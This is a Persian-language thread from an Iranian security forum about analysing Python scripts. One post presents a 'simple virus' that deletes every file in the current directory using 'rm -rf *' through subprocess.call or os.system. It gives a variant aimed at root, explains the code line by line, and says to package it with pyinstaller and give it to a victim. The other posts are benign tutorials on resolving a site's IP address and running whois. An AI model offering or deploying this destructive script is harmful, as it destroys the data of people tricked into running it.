• Sky
  • Blueberry
  • Slate
  • Blackcurrant
  • Watermelon
  • Strawberry
  • Orange
  • Banana
  • Apple
  • Emerald
  • Chocolate
  • Charcoal
Mr.p7700

تایپیک تجزیه تحلیل برنامه های پایتون

5 ارسال در این موضوع قرار دارد

با سلام

 

 

در این تایپیک قصد داریم ان شاالله سورس کد های برنامه هایی

 

که به زبان پایتون نوشته شده اند را بررسی کنیم.

 

این برنامه ها میتوانند دست نوشته خودتان یا دیگران باشند.

 

کد های برنامه ها تا انجا که در فهم بنده حقیر و اساتید عزیز باشد

 

به امید خدا بررسی خواهد شد و نتیجه قرار داده می شود.

 

 

قوانین تایپیک:

 

1. اگر میدانید برنامه با چه نسخه ای از پایتون ساخته شده حتما آنرا بیان کنید.

2. هیچ گونه بی احترامی و توهین جایز نیست.

3. منبع سورس کد را حتما قید کنید.

4.برای تشکر به هیچ وجه پست ندهید و فقط از گزینه 'تشکر' استفاده کنید.

 

 

 

 

 

 

alizombie، R3dHat، virtual_hate و 3 کاربر دیگر پسندیده اند

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

در لینجا اسکریپت ساده ای از ماژول subprocess رو میبینید که در واقع اگر به یک سیستم عامل لینوکسی داده بشه تمام فایل های موجود در مسیر کنونی اسکریپت رو پاک میکنه.( یک نوع ویروس ساده)

هم روی پایتون ۲ و هم پایتون ۳ کار میکنه.

#!/usr/bin/env python

import subprocess

subprocess.call('rm -rf *', shell=True) #example

اگر تمایل داشته باشید میتونید مسیر رو عوض کنید.

subprocess.call("cd root; rm -rf *", shell=True) #example

یا میتونید از ماژول os استفاده کنید :

import os

os.system('rm -rf *') #example

در خط اول برنامه مسیر مفسر پایتون رو فراخوانی کردیم .

در خط دوم ماژول subprocess که مخصوص دستورات خط فرمان هست داخل برنامه چسبوندیم و تمام محتویات ماژول رو داخل برنامه ریختیم.

در خط اخر از ماژول subprocess ، تابع ساخته شده دراون به نام call. که دستورات شل بیسیک رو اجرا میکنه فراخوانی کردیم.

دو ارگومان داخل تابع call باید تنظیم بشه که اولی دستور ویروسه .

در دومین ارگومان :مقدار shell رو برابر True قرار دادیم تا سیستم عامل به اسکریپت اجازه ی اجرای دستورات شل رو بده . در غیر اینصورت هیچ دستور شلی یافت نمیشه ( در اسکریپت دستورات شل پاک میشن و خطای no such file رو دریافت میکنید) -- فایل همان فایل محتویات دستورات هست.

تابع call فقط همین دو ارگومان رو میگیره.

تابع system هم مانند تابع call عمل میکنه و دستورات شل رو اجرا میکنه.

اسکریپت رو با کتابخانه pyinstaller به فایل run لینوکس تبدیل کنید و به قربانی بدید .

اسکریپت ها در پست بعدی.

faylor، proxy، REX و 3 کاربر دیگر پسندیده اند

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

سلام

خب تو مرحله های اول و مقدماتی هستیم

کد زیر ای پی یک سایت رو پیدا میکنه و در اسم address اون رو ذخیره میکنه

میتونید برنامش کنید و در هر دو نسخه پایتون کار میکنه

ماژول socket رو راه میندازیم

خب اول مسیر مفسر رو درخط اول برنامه که shebang نامیده میشه ، وارد میکنیم .

#!/python27

ماژول socket روایمپورت میکنیم برای استفاده از توابع ، دستورات و کلاس های این ماژول .

import socket

حالا کد اصلی رو مینویسیم :

address = socket.gethostbyname('yahoo.com') # basic code

تابع gethostbyneme رو از ماژول socket فراخوانی کردیم و مقدار سایت رو در پرانتز قرار دادیم تا برنامه از ماژول socket اول تابع ذکر شده رو فراخوانی کنه و سایت رو به تابع بده و تابع هم بوسیله برقراری ارتباط با سرورسایت ای پی رو در اسم address ذخیره کنه .

برای نمایش ای پی از دستور پرینت استفاده میکنیم تا خروجی اسم رو نشون بده:

print address

میتونیم یذره تنوع به خرج بدیم

#!/python27

from socket import gethostbyname

print "Enter The URL :\n"

URL = raw_input("@> ") # example

addr = gethostbyname(URL)

print "IP :",addr

خطا ها رو میتونید except بزنید.

alizombie، DeMoN و virtual_hate پسندیده اند

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

در این بخش میخوایم از یک سایت با پایتون whois بگیریم و محتویات سایت رو نمایش بدیم :

خب مفسر را اجرا کنید :

در پایتون 2:

python

یا python2.7 :)

خب دستور نصب ماژول whois رو در پوسته cmd یا ترمینال جدید وارد کنید:

pip install whois

خب حالا این ماژول رو در مفسر ایمپورت کنیم

import whois

قطعه کد زیر تابع whois رو از ماژول مورد نظر فراخوانی میکنه و سایت guardiran رو به تابع میده تا ماژول (برنامه) whois در سرور به دنبال سایت مورد نظر بگرده و اطلاعات اونرو در اسم rec_data ذخیره کنه .

rec_data = whois.whois("guardian.org") #basic e.g

حالا اطلاعات گرفته شده رو نمایش میدیم :

n\ : به این معنی هست که اشاره گر بره خط بعدی و با این کار ادامه کلمه Whois اطلاعات سایت نمایش داده نشه بلکه در خط بعدیش نشون داده بشه

print "Whois : \n", rec_data

# Print The Contents Of Guardiran

print " Contents :\n", rec_data.text

یا میتونید مقدار دلخواه از محتویات رو slice کنیم و نمایش بدیم

با اینکار تعداد دلخواهی از کاراکتر هارو نمایش میدیم در مثال زیر صد کاراکتر از اول نمایش داده میشه

print " Contents :\n", rec_data.text[:100] # slicing Contents

در پایتون ۳

python3

import whois

rec_data ,......

فقط در دستور پرینت باید هرچی جلوشه داخل پرانتز قرار بدید (ارگومان های الزامی)

دستور پرینت در پایتون ۳ ، یک تابع هست و به ارگومان های کلیدی نیاز داره.

alizombie، virtual_hate، DeMoN و 1 کاربر دیگر پسندیده اند

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

درباره ی ما

تیم امنیتی گارد ایران یک گروه مستقل است که قوانین آن با خط مشی جمهوری اسلامی ایران مغایرت ندارد. تیم امنیتی گارد ایران از سال 1393 فعالیت خود را آغاز کرد و هدف این تیم تامین امنیت سایت ها و سرورهای ایرانی است. تیم ما همیشه برای دفاع از مرزهای سایبری سرزمین عزیزمان ایران آماده است.